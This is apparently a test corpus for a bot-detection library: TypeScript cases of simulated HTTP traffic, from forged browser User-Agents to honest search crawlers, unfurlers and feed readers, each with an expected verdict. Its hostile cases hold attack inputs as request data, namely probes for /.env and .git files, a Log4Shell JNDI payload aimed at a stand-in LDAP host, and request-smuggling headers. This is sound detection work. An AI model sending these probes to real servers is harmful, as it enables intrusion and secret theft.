AppleWebKit. Firefox on iOS is WebKit and says FxiOS, never Firefox/.\",\n requests: [{ ...plain(\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/141.0\", [[\"Accept-Language\", \"en-US,en;q=0.5\"], [\"Accept-Encoding\", \"gzip, deflate, br\"]]) }],\n expect: { certain: false, detectors: [\"ua-coherence\"], neverAction: [\"block\", \"drop\"] },\n tags: [\"evasion\", \"ua-forgery\"],\n }),\n bot({\n id: \"ua-stranded-chrome-on-windows-7\",\n title: \"Current Chrome on a Windows release Chrome no longer supports\",\n audience: \"unwanted-bot\",\n category: \"ua-forgery\",\n provenance: \"Randomised platform blocks still carry Windows NT 6.1 long after Chrome stopped shipping for it\",\n notes:\n \"The weakest thing `ua-coherence` reports, and deliberately so. Google's last Windows 7 release was Chrome 109, but Supermium and Thorium ship current Chromium on retired Windows to a real if small population — so this is `moderate`, it is one signal among several, and on its own it does nothing but tag.\",\n requests: [{ ...browser(\"chromeWindows\"), headers: browser(\"chromeWindows\").headers.map((header) => (header[0] === \"User-Agent\" ? ([\"User-Agent\", \"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36\"] as const) : header)) }],\n expect: { certain: false, detectors: [\"ua-coherence\"], maxScore: 45, neverAction: [\"block\", \"drop\"] },\n tags: [\"evasion\", \"ua-forgery\", \"known-cost\"],\n }),\n\n // ---------------------------------------------------------------------------\n // Wordlists. What the request asks for, rather than who is asking.\n //\n // These carry a real browser's header set, in a real browser's order, with the\n // Client Hints intact — everything the consistency detectors read is correct,\n // because the client copied it correctly. What gives them away is that no link on\n // any site points at what they are asking for.\n // ---------------------------------------------------------------------------\n bot({\n id: \"probe-env-file\",\n title: \"A header-perfect client asking for /.env\",\n audience: \"hostile\",\n category: \"wordlist-probe\",\n provenance: \"The single most-requested path on the internet that no site intends to serve\",\n notes: \"Never `certain`. A URL is client-supplied text, and the client supplying it might be a security engineer testing their own site — which is why the answer is a challenge rather than a closed door.\",\n requests: [{ ...browser(\"chromeWindows\"), path: \"/.env\" }],\n expect: { certain: false, detectors: [\"probe-signature\"], neverAction: [\"block\", \"drop\"] },\n tags: [\"scanning\"],\n }),\n bot({\n id: \"probe-git-config\",\n title: \"Walking a version-control directory\",\n audience: \"hostile\",\n category: \"wordlist-probe\",\n provenance: \"Exposed .git directories are harvested continuously; the config file names the remote\",\n requests: [\n { ...browser(\"chromeWindows\"), path: \"/.git/config\", atMs: 0 },\n { ...browser(\"chromeWindows\"), path: \"/.git/HEAD\", atMs: 900 },\n ],\n expect: { certain: false, detectors: [\"probe-signature\"], neverAction: [\"block\", \"drop\"] },\n tags: [\"scanning\"],\n }),\n bot({\n id: \"probe-log4shell-parameter\",\n title: \"A JNDI lookup in a query parameter\",\n audience: \"hostile\",\n category: \"wordlist-probe\",\n provenance: \"CVE-2021-44228 scanning has never stopped; the payload is sprayed into every parameter and header a crawler can reach\",\n requests: [{ ...browser(\"chromeWindows\"), path: \"/search?q=%24%7Bjndi%3Aldap%3A%2F%2Fscanner.example%2Fa%7D\" }],\n expect: { certain: false, detectors: [\"probe-signature\"], neverAction: [\"block\", \"drop\"] },\n tags: [\"scanning\"],\n }),\n bot({\n id: \"probe-trace-method\",\n title: \"A TRACE request\",\n audience: \"hostile\",\n category: \"wordlist-probe\",\n provenance: \"Cross-site tracing checks whether a server echoes the request back, including headers a script cannot read\",\n requests: [{ ...plain(CHROME_UA), method: \"TRACE\" }],\n expect: { certain: false, detectors: [\"probe-signature\"], neverAction: [\"block\", \"drop\"] },\n tags: [\"scanning\"],\n }),\n\n // ---------------------------------------------------------------------------\n // Framing. A message that disagrees with itself about where it ends.\n // ---------------------------------------------------------------------------\n bot({\n id: \"smuggling-content-length-and-transfer-encoding\",\n title: \"A request carrying both Content-Length and Transfer-Encoding\",\n audience: \"hostile\",\n category: \"protocol-abuse\",\n provenance: \"RFC 9112 §6.1 requires a message with both to be treated as malformed; the disagreement between two servers in a chain is the mechanism of request smuggling\",\n notes: \"Proven, like the HTTP/2 case above and for the same reason: every implementation removes one before sending, so a message with both was framed by hand.\",\n requests: [\n {\n headers: [[\"Host\", \"shop.example\"], [\"User-Agent\", CHROME_UA], [\"Accept\", \"*/*\"], [\"Content-Type\", \"application/x-www-form-urlencoded\"], [\"Content-Length\", \"6\"], [\"Transfer-Encoding\", \"chunked\"]],\n method: \"POST\",\n protocol: \"https\",\n httpVersion: \"1.1\",\n },\n ],\n expect: { verdict: \"confirmed-bot\", certain: true, detectors: [\"header-integrity\"] },\n tags: [\"protocol\"],\n }),\n bot({\n id: \"smuggling-duplicate-host\",\n title: \"A request with two Host headers\",\n audience: \"hostile\",\n category: \"protocol-abuse\",\n provenance: \"RFC 9112 §3.2 permits exactly one Host field; a second makes the request target ambiguous between hops\",\n requests: [\n {\n headers: [[\"Host\", \"shop.example\"], [\"Host\", \"internal.shop.example\"], [\"User-Agent\", CHROME_UA], [\"Accept\", \"*/*\"]],\n protocol: \"https\",\n httpVersion: \"1.1\",\n },\n ],\n expect: { verdict: \"confirmed-bot\", certain: true, detectors: [\"header-integrity\"] },\n tags: [\"protocol\"],\n }),\n];\n","import { plain } from \"./headers.js\";\nimport { bot } from \"./schema.js\";\nimport { BINGBOT_IP, BINGBOT_PTR, GOOGLEBOT_IP, GOOGLEBOT_PTR, IN_RANGE } from \"./ranges.js\";\nimport type { CaseRequest, Expectation, TrafficCase } from \"./schema.js\";\n\n/**\n * Automation almost every site wants to keep serving.\n *\n * Search crawlers bring the traffic. Link unfurlers render the share cards. Monitors\n * tell you the site is up. Feed readers are how a chunk of your audience actually\n * reads you. Getting any of these wrong is not a security incident — it is a slow,\n * quiet loss that shows up weeks later as a ranking drop or a dead preview, with\n * nothing in the logs pointing at the cause.\n *\n * Most declare themselves honestly, which is why `self-identified` reaches `certain`\n * on them: believing a client's own statement about itself cannot misclassify an\n * honest one. Only a handful publish a *verifiable* identity, and those are the only\n * ones that can reach `verified-bot`.\n */\n\n/** A crawler that names itself and can be taken at its word, but not confirmed. */\nfunction declared(id: string, title: string, category: string, userAgent: string, provenance: string, identity: string, extra?: Partial<TrafficCase>): TrafficCase {\n return bot({\n id,\n title,\n audience: \"benign-bot\",\n category,\n provenance,\n requests: [plain(userAgent)],\n expect: { verdict: \"confirmed-bot\", certain: true, identity, detectors: [\"self-identified\"] },\n ...extra,\n });\n}\n\nconst CRAWLER_HEADERS: CaseRequest[\"headers\"] = [\n [\"Host\", \"shop.example\"],\n [\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"],\n [\"Accept-Encoding\", \"gzip, deflate, br\"],\n [\"From\", \"googlebot(at)googlebot.com\"],\n];\n\nconst VERIFIED: Expectation = { verdict: \"verified-bot\", certain: true, detectors: [\"crawler-verification\"] };\n\nexport const BENIGN_BOT_CASES: TrafficCase[] = [\n // ---------------------------------------------------------------------------\n // Search crawlers whose identity can actually be confirmed. These are the cases\n // that must reach `verified-bot`, because a policy that allows verified crawlers\n // is worthless if verification never succeeds.\n // ---------------------------------------------------------------------------\n bot({\n id: \"googlebot-verified\",\n title: \"Googlebot, confirmed by forward-confirmed reverse DNS\",\n audience: \"benign-bot\",\n category: \"search-crawler\",\n provenance: \"Google documents FCrDNS under googlebot.com as the verification method\",\n requests: [{ headers: [[\"User-Agent\", \"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\"], ...CRAWLER_HEADERS], ip: GOOGLEBOT_IP, protocol: \"https\", httpVersion: \"1.1\" }],\n dns: { reverse: { [GOOGLEBOT_IP]: [GOOGLEBOT_PTR] }, forward: { [GOOGLEBOT_PTR]: [GOOGLEBOT_IP] } },\n expect: { ...VERIFIED, identity: \"googlebot\" },\n tags: [\"verification\"],\n }),\n bot({\n id: \"googlebot-smartphone-verified\",\n title: \"Googlebot Smartphone, confirmed by DNS\",\n audience: \"benign-bot\",\n category: \"search-crawler\",\n provenance: \"Google crawls mobile-first; the UA embeds a full Android Chrome string\",\n requests: [\n {\n headers: [[\"User-Agent\", \"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/W.X.Y.Z Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\"], ...CRAWLER_HEADERS],\n ip: GOOGLEBOT_IP,\n protocol: \"https\",\n httpVersion: \"1.1\",\n },\n ],\n dns: { reverse: { [GOOGLEBOT_IP]: [GOOGLEBOT_PTR] }, forward: { [GOOGLEBOT_PTR]: [GOOGLEBOT_IP] } },\n expect: { ...VERIFIED, identity: \"googlebot\" },\n notes: \"The UA embeds a complete Chrome string. Nothing may read that half and conclude the client is a browser.\",\n tags: [\"verification\"],\n }),\n bot({\n id: \"bingbot-verified\",\n title: \"Bingbot, confirmed by DNS under search.msn.com\",\n audience: \"benign-bot\",\n category: \"search-crawler\",\n provenance: \"Microsoft documents FCrDNS under search.msn.com\",\n requests: [{ headers: [[\"User-Agent\", \"Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)\"], ...CRAWLER_HEADERS], ip: BINGBOT_IP, protocol: \"https\", httpVersion: \"1.1\" }],\n dns: { reverse: { [BINGBOT_IP]: [BINGBOT_PTR] }, forward: { [BINGBOT_PTR]: [BINGBOT_IP] } },\n expect: { ...VERIFIED, identity: \"bingbot\" },\n tags: [\"verification\"],\n }),\n bot({\n id: \"googlebot-dns-unavailable\",\n title: \"Googlebot when the resolver is not answering\",\n audience: \"benign-bot\",\n category: \"search-crawler\",\n provenance: \"A DNS outage must not turn every crawler into an accused forgery\",\n notes:\n \"The single most important negative case in the corpus. Silence is not disproof: the verdict falls back to the honest self-declaration, and the crawler is never accused of impersonation.\",\n // A different address from the verified case on purpose: DNS answers are cached\n // by address, so reusing it would resolve from the cache and never exercise the\n // unavailable path at all.\n requests: [{ headers: [[\"User-Agent\", \"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\"], ...CRAWLER_HEADERS], ip: \"66.249.66.99\", protocol: \"https\", httpVersion: \"1.1\" }],\n dns: { unavailable: true },\n expect: { verdict: \"confirmed-bot\", botClass: \"declared-bot\", certain: true, identity: \"googlebot\", notDetectors: [\"crawler-verification\"] },\n tags: [\"verification\", \"regression\"],\n }),\n bot({\n id: \"duckduckbot-in-range\",\n requires: [\"crawler-ranges\"],\n title: \"DuckDuckBot from its published range\",\n audience: \"benign-bot\",\n category: \"search-crawler\",\n provenance: \"DuckDuckGo publishes an address list rather than PTR records\",\n requests: [{ ...plain(\"Mozilla/5.0 (compatible; DuckDuckBot-Https/1.1; https://duckduckgo.com/duckduckbot)\"), ip: IN_RANGE[\"duckduckbot\"]! }],\n expect: { ...VERIFIED, identity: \"duckduckbot\" },\n tags: [\"verification\"],\n }),\n\n // ---------------------------------------------------------------------------\n // Search crawlers taken at their word.\n // ---------------------------------------------------------------------------\n declared(\"yandexbot\", \"YandexBot\", \"search-crawler\", \"Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)\", \"Yandex publishes FCrDNS under yandex.ru/net/com\", \"yandexbot\"),\n declared(\"baiduspider\", \"Baiduspider\", \"search-crawler\", \"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)\", \"Baidu publishes FCrDNS under baidu.com\", \"baiduspider\"),\n declared(\"applebot\", \"Applebot\", \"search-crawler\", \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)\", \"Powers Siri and Spotlight suggestions\", \"applebot\"),\n declared(\"seznambot\", \"SeznamBot\", \"search-crawler\", \"Mozilla/5.0 (compatible; SeznamBot/4.0; +http://napoveda.seznam.cz/seznambot-intro/)\", \"The dominant search engine in Czechia\", \"seznambot\"),\n declared(\"naver-yeti\", \"Naver Yeti\", \"search-crawler\", \"Mozilla/5.0 (compatible; Yeti/1.1; +http://naver.me/spd)\", \"The dominant search engine in South Korea\", \"naver-yeti\"),\n declared(\"petalbot\", \"PetalBot\", \"search-crawler\", \"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)\", \"Huawei's search crawler\", \"petalbot\"),\n declared(\"qwantbot\", \"Qwantbot\", \"search-crawler\", \"Mozilla/5.0 (compatible; Qwantbot/1.0; +https://help.qwant.com/bot/)\", \"A privacy-focused European search engine\", \"qwantbot\"),\n declared(\"mojeekbot\", \"MojeekBot\", \"search-crawler\", \"Mozilla/5.0 (compatible; MojeekBot/0.11; +https://www.mojeek.com/bot.html)\", \"An independent index — the kind of crawler a blanket block quietly kills\", \"mojeek\"),\n declared(\"marginalia\", \"Marginalia Search\", \"search-crawler\", \"Mozilla/5.0 (compatible; Mozilla/5.0; +https://search.marginalia.nu/)\", \"A small independent index\", \"marginalia\"),\n declared(\"sogou\", \"Sogou Spider\", \"search-crawler\", \"Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)\", \"A major Chinese search engine\", \"sogou\"),\n\n // Google's specialist fleet. Blocking these breaks Search Console, Ads and\n // Merchant Center in ways that are hard to trace back to a bot rule.\n declared(\"google-inspectiontool\", \"Google-InspectionTool\", \"search-crawler\", \"Mozilla/5.0 (compatible; Google-InspectionTool/1.0;)\", \"What Search Console's URL Inspection uses; blocking it breaks your own diagnostics\", \"googlebot\"),\n declared(\"storebot-google\", \"Storebot-Google\", \"search-crawler\", \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 (compatible; Storebot-Google/1.0; +http://www.google.com/bot.html)\", \"Crawls product pages for Google Shopping and Merchant Center listings\", \"googlebot\"),\n declared(\"googleother\", \"GoogleOther\", \"search-crawler\", \"Mozilla/5.0 (compatible; GoogleOther)\", \"Google's internal one-off crawls, separated from Search\", \"googlebot\"),\n declared(\"adsbot-google\", \"AdsBot-Google\", \"advertising\", \"AdsBot-Google (+http://www.google.com/adsbot.html)\", \"Checks landing-page quality; blocking it degrades ad quality scores\", \"adsbot-google\"),\n declared(\"mediapartners-google\", \"Mediapartners-Google\", \"advertising\", \"Mediapartners-Google\", \"Crawls pages carrying AdSense units to choose relevant ads\", \"adsbot-google\"),\n declared(\"feedfetcher-google\", \"Feedfetcher-Google\", \"feed-reader\", \"FeedFetcher-Google; (+http://www.google.com/feedfetcher.html)\", \"Fetches feeds for Google products\", \"feedfetcher\"),\n\n // ---------------------------------------------------------------------------\n // Link unfurlers. Every one of these renders a share card somewhere; blocking\n // them turns every shared link into a bare URL.\n // ---------------------------------------------------------------------------\n bot({\n id: \"facebook-external-hit-in-range\",\n requires: [\"crawler-ranges\"],\n title: \"facebookexternalhit from Meta's published range\",\n audience: \"benign-bot\",\n category: \"link-unfurler\",\n provenance: \"Meta publishes its crawler ranges; no usable PTR records\",\n requests: [{ ...plain(\"facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)\"), ip: IN_RANGE[\"facebook-external\"]! }],\n expect: { ...VERIFIED, identity: \"facebook-external\" },\n tags: [\"verification\"],\n }),\n declared(\"twitterbot\", \"Twitterbot\", \"link-unfurler\", \"Twitterbot/1.0\", \"Renders X/Twitter card previews\", \"twitterbot\"),\n declared(\"linkedinbot\", \"LinkedInBot\", \"link-unfurler\", \"LinkedInBot/1.0 (compatible; Mozilla/5.0; Apache-HttpClient +http://www.linkedin.com)\", \"Renders LinkedIn share previews. Note it also names Apache-HttpClient — a client that is honest about being built on a library.\", \"linkedinbot\"),\n declared(\"slackbot-linkexpanding\", \"Slackbot-LinkExpanding\", \"link-unfurler\", \"Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)\", \"Unfurls links pasted into Slack channels\", \"slackbot\"),\n declared(\"slackbot-imgproxy\", \"Slack image proxy\", \"link-unfurler\", \"Slack-ImgProxy (+https://api.slack.com/robots)\", \"Fetches images for Slack previews\", \"slackbot\"),\n declared(\"discordbot\", \"Discordbot\", \"link-unfurler\", \"Mozilla/5.0 (compatible; Discordbot/2.0; +https://discordapp.com)\", \"Renders Discord embeds\", \"discordbot\"),\n declared(\"telegrambot\", \"TelegramBot\", \"link-unfurler\", \"TelegramBot (like TwitterBot)\", \"Renders Telegram link previews\", \"telegrambot\"),\n declared(\"whatsapp-preview\", \"WhatsApp link preview\", \"link-unfurler\", \"WhatsApp/2.24.17.79 A\", \"Fetches Open Graph tags when a link is shared in a chat\", \"whatsapp\"),\n declared(\"redditbot\", \"Redditbot\", \"link-unfurler\", \"Mozilla/5.0 (compatible; redditbot/1.0; +http://www.reddit.com/feedback)\", \"Renders Reddit link previews\", \"redditbot\"),\n declared(\"pinterestbot\", \"Pinterestbot\", \"link-unfurler\", \"Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)\", \"Powers Pin previews and rich pins\", \"pinterestbot\"),\n declared(\"mastodon-preview\", \"Mastodon link preview\", \"link-unfurler\", \"http.rb/5.1.1 (Mastodon/4.3.1; +https://mastodon.social/)\", \"Fediverse servers fetch previews individually, so one shared link can arrive from hundreds of hosts at once\", \"mastodon\"),\n declared(\"embedly\", \"Embedly\", \"link-unfurler\", \"Mozilla/5.0 (compatible; Embedly/0.2; +http://support.embed.ly/)\", \"Powers previews for many products that do not fetch links themselves\", \"embedly\"),\n\n // ---------------------------------------------------------------------------\n // Monitoring. Usually yours. If any of these is blocked you find out during an\n // incident, from a monitor that was reporting a false green.\n // ---------------------------------------------------------------------------\n bot({\n id: \"uptimerobot-in-range\",\n requires: [\"crawler-ranges\"],\n title: \"UptimeRobot from its published range\",\n audience: \"benign-bot\",\n category: \"monitoring\",\n provenance: \"UptimeRobot publishes its checking addresses\",\n requests: [{ ...plain(\"Mozilla/5.0+(compatible; UptimeRobot/2.0; http://www.uptimerobot.com/)\"), ip: IN_RANGE[\"uptimerobot\"]! }],\n expect: { ...VERIFIED, identity: \"uptimerobot\" },\n tags: [\"verification\"],\n }),\n declared(\"pingdom\", \"Pingdom\", \"monitoring\", \"Mozilla/5.0 (compatible; Pingdom.com_bot_version_1.4_(http://www.pingdom.com/))\", \"Synthetic uptime checks\", \"pingdom\"),\n declared(\"statuscake\", \"StatusCake\", \"monitoring\", \"Mozilla/5.0 (compatible; StatusCake)\", \"Synthetic uptime checks from a distributed pool\", \"statuscake\"),\n declared(\"better-uptime\", \"Better Stack\", \"monitoring\", \"Better Uptime Bot Mozilla/5.0 (compatible; BetterStack/1.0; +https://betterstack.com)\", \"Synthetic uptime checks, formerly Better Uptime\", \"betteruptime\"),\n declared(\"site24x7\", \"Site24x7\", \"monitoring\", \"Mozilla/5.0 (compatible; Site24x7/1.0; +https://www.site24x7.com)\", \"Synthetic uptime and transaction monitoring\", \"site24x7\"),\n declared(\"lighthouse\", \"Chrome Lighthouse\", \"monitoring\", \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36 Chrome-Lighthouse\", \"Performance auditing, often run by your own CI\", \"google-pagespeed\"),\n declared(\"gtmetrix\", \"GTmetrix\", \"monitoring\", \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 GTmetrix\", \"Performance testing on request\", \"gtmetrix\"),\n declared(\"datadog-synthetics\", \"Datadog Synthetics\", \"monitoring\", \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Datadog/Synthetics\", \"Synthetic API and browser checks\", \"datadog\"),\n\n // ---------------------------------------------------------------------------\n // Feeds and podcasts. A real slice of a publisher's audience arrives this way,\n // and none of it runs JavaScript.\n // ---------------------------------------------------------------------------\n declared(\"feedly\", \"Feedly\", \"feed-reader\", \"Feedly/1.0 (+http://www.feedly.com/fetcher.html; 870 subscribers; like FeedFetcher-Google)\", \"Podnews RSS user-agent list; the subscriber count is real information a publisher wants\", \"feedly\"),\n declared(\"inoreader\", \"Inoreader\", \"feed-reader\", \"Inoreader/1.0 (+http://www.inoreader.com/feed-fetcher; 195 subscribers; )\", \"Podnews RSS user-agent list\", \"inoreader\"),\n declared(\"freshrss\", \"FreshRSS\", \"feed-reader\", \"FreshRSS/1.29.1 (Linux; https://freshrss.org)\", \"Podnews RSS user-agent list; self-hosted, so it arrives from a subscriber's own server\", \"freshrss\"),\n declared(\"netnewswire\", \"NetNewsWire\", \"feed-reader\", \"NetNewsWire (RSS Reader; https://netnewswire.com/)\", \"Podnews RSS user-agent list\", \"netnewswire\"),\n declared(\"miniflux\", \"Miniflux\", \"feed-reader\", \"Mozilla/5.0 (compatible; Miniflux/2.2.3; +https://miniflux.app)\", \"Self-hosted feed reader; arrives from a subscriber's own server rather than a vendor's\", \"rss-reader\"),\n declared(\"overcast\", \"Overcast\", \"podcast-client\", \"Overcast/1.0 Podcast Sync (210 subscribers; feed-id=735461; +http://overcast.fm/)\", \"Podnews RSS user-agent list\", \"overcast\", { audience: \"benign-bot\" }),\n declared(\"pocketcasts\", \"Pocket Casts\", \"podcast-client\", \"PocketCasts/1.0 (Pocket Casts Feed Parser; +http://pocketcasts.com/)\", \"Podnews RSS user-agent list\", \"pocketcasts\"),\n declared(\"antennapod\", \"AntennaPod\", \"podcast-client\", \"AntennaPod/3.12.0\", \"Podnews RSS user-agent list\", \"antennapod\"),\n declared(\"podcastaddict\", \"Podcast Addict\", \"podcast-client\", \"PodcastAddict/v5 (+https://podcastaddict.com/; Android podcast app)\", \"Podnews RSS user-agent list\", \"podcastaddict\"),\n\n bot({\n id: \"spotify-podcast-fetch\",\n title: \"Spotify fetching a podcast feed\",\n audience: \"benign-bot\",\n category: \"podcast-client\",\n provenance: \"Podnews RSS user-agent list records Spotify's fetcher as the bare token 'Spotify/1.0'\",\n notes:\n \"A two-token User-Agent with no contact URL and no recognisable product. It is honest automation from a major platform that nonetheless looks like a hand-rolled script — which is exactly why an unrecognised bare token is `strong` rather than `certain`.\",\n requests: [plain(\"Spotify/1.0\")],\n expect: { verdict: \"suspected-bot\", botClass: \"http-client\", certain: false, neverAction: [\"drop\"] },\n }),\n bot({\n id: \"apple-podcasts-fetch\",\n title: \"Apple Podcasts fetching a feed\",\n audience: \"benign-bot\",\n category: \"podcast-client\",\n provenance: \"Podnews records Apple Podcasts as 'iTMS'\",\n notes: \"Four characters, no version, no contact. Legible only because the database has an entry for it — and a reminder that honest automation is under no obligation to be legible.\",\n requests: [plain(\"iTMS\")],\n expect: { verdict: \"confirmed-bot\", certain: true, identity: \"apple-podcasts\", neverAction: [\"drop\"] },\n }),\n\n // ---------------------------------------------------------------------------\n // Archives.\n // ---------------------------------------------------------------------------\n declared(\"internet-archive\", \"Internet Archive\", \"archive\", \"Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot)\", \"The Wayback Machine, which preserves pages long after the site that served them\", \"ia-archiver\"),\n declared(\"heritrix\", \"Heritrix\", \"archive\", \"Mozilla/5.0 (compatible; heritrix/3.4.0 +https://webrecorder.net)\", \"The crawler behind many institutional web archives\", \"heritrix\"),\n];\n","import { crawler } from \"./headers.js\";\nimport { bot } from \"./schema.js\";\nimport type { TrafficCase } from \"./schema.js\";\n\n/**\n * Search and discovery crawlers from outside the anglophone web.\n *\n * A corpus assembled from one developer's own logs is a corpus of one market. These\n * crawlers index the search engines that most of the world actually uses — Naver in\n * Korea, Seznam in Czechia, Yandex across the CIS, Baidu and Sogou in China, Coccoc\n * in Vietnam — and blocking them is invisible from a London office and catastrophic\n * for a business that sells into those markets.\n *\n * Nearly all follow the same convention: a `bot` or `spider` word, and a contact\n * address prefixed with `+`. That pairing is a declaration, which is why the library\n * reaches a proven verdict on clients it has never heard of.\n */\n\nfunction declaredCrawler(id: string, title: string, userAgent: string, provenance: string, options: { identity?: string; from?: string; notes?: string; audience?: TrafficCase[\"audience\"] } = {}): TrafficCase {\n return bot({\n id,\n title,\n audience: options.audience ?? \"benign-bot\",\n category: \"regional-crawler\",\n provenance,\n ...(options.notes !== undefined ? { notes: options.notes } : {}),\n requests: [crawler(userAgent, options.from !== undefined ? { from: options.from } : {})],\n expect: {\n verdict: \"confirmed-bot\",\n certain: true,\n detectors: [\"self-identified\"],\n ...(options.identity !== undefined ? { identity: options.identity } : {}),\n },\n });\n}\n\nexport const REGIONAL_CRAWLER_CASES: TrafficCase[] = [\n // ---- East Asia ----\n declaredCrawler(\"rc-naver-yeti\", \"Naver Yeti\", \"Mozilla/5.0 (compatible; Yeti/1.1; +https://naver.me/spd)\", \"The dominant search engine in South Korea; Naver's share there exceeds Google's\", { identity: \"naver-yeti\" }),\n declaredCrawler(\"rc-naver-yeti-mobile\", \"Naver Yeti, mobile crawl\", \"Mozilla/5.0 (Linux; U; Android 11; ko-kr;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Yeti-Mobile/0.1; +https://naver.me/spd)\", \"Naver crawls mobile-first, like Google\", { identity: \"naver-yeti\" }),\n declaredCrawler(\"rc-daum\", \"Daumoa\", \"Mozilla/5.0 (compatible; Daumoa/4.0; +https://cs.daum.net/faq/15/4118.html)\", \"Kakao's search crawler, the second Korean index\"),\n declaredCrawler(\"rc-baidu-mobile\", \"Baiduspider, mobile crawl\", \"Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,like Gecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)\", \"Baidu's rendering crawler; note the frozen Android 4.2.2 device string\", { identity: \"baiduspider\" }),\n declaredCrawler(\"rc-baidu-image\", \"Baiduspider-image\", \"Baiduspider-image+(+http://www.baidu.com/search/spider.htm)\", \"Baidu's image crawler uses a bare, unusual User-Agent with a doubled plus\", { identity: \"baiduspider\" }),\n declaredCrawler(\"rc-sogou-inst\", \"Sogou inst spider\", \"Sogou inst spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)\", \"Sogou's instant-answer crawler; a major Chinese index owned by Tencent\", { identity: \"sogou\" }),\n declaredCrawler(\"rc-360-spider\", \"360Spider\", \"Mozilla/5.0 (compatible; 360Spider/1.0; +http://www.so.com/help/help_3_2.html)\", \"Qihoo 360's search crawler, a significant Chinese index\", {}),\n declaredCrawler(\"rc-shenma\", \"YisouSpider\", \"Mozilla/5.0 (Linux; U; Android 12; zh-CN;) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Mobile Safari/537.36 (compatible; YisouSpider/5.0; +http://www.yisou.com/help_center.html)\", \"Alibaba's Shenma mobile search crawler, large in Chinese mobile search\", {}),\n declaredCrawler(\"rc-bytedance-toutiao\", \"Bytedance search crawler\", \"Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.117 Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)\", \"ByteDance's crawler, feeding Toutiao search and model training\", { identity: \"bytespider\", audience: \"unwanted-bot\", notes: \"Widely reported for aggressive rates and inconsistent robots.txt compliance. Honest about who it is, all the same.\" }),\n\n // ---- The CIS and Eastern Europe ----\n declaredCrawler(\"rc-yandex-images\", \"YandexImages\", \"Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)\", \"Yandex runs a fleet of specialised crawlers under one verification domain\", { identity: \"yandexbot\" }),\n declaredCrawler(\"rc-yandex-mobile\", \"YandexMobileBot\", \"Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4 (compatible; YandexMobileBot/3.0; +http://yandex.com/bots)\", \"Yandex's mobile-first crawler\", { identity: \"yandexbot\" }),\n declaredCrawler(\"rc-yandex-accessibility\", \"YandexAccessibilityBot\", \"Mozilla/5.0 (compatible; YandexAccessibilityBot/3.0; +http://yandex.com/bots)\", \"Checks pages for accessibility problems on Yandex's behalf\", { identity: \"yandexbot\" }),\n declaredCrawler(\"rc-mail-ru\", \"Mail.RU_Bot\", \"Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)\", \"The crawler behind Mail.ru's search and its social previews\", {}),\n declaredCrawler(\"rc-seznam-mobile\", \"SeznamBot mobile\", \"Mozilla/5.0 (compatible; SeznamBot/4.0-mobile; +http://napoveda.seznam.cz/seznambot-intro/)\", \"Seznam holds a substantial share of Czech search\", { identity: \"seznambot\" }),\n\n // ---- Southeast and South Asia ----\n declaredCrawler(\"rc-coccoc\", \"Coccoc bot\", \"Mozilla/5.0 (compatible; coccocbot-web/1.0; +http://help.coccoc.com/searchengine)\", \"Coc Coc is a major Vietnamese search engine and browser\", {}),\n declaredCrawler(\"rc-coccoc-image\", \"Coccoc image bot\", \"Mozilla/5.0 (compatible; coccocbot-image/1.0; +http://help.coccoc.com/searchengine)\", \"Coc Coc's image crawler\", {}),\n declaredCrawler(\"rc-petal-mobile\", \"PetalBot, mobile crawl\", \"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)\", \"Huawei's Petal Search, the default on Huawei devices outside Google's ecosystem\", { identity: 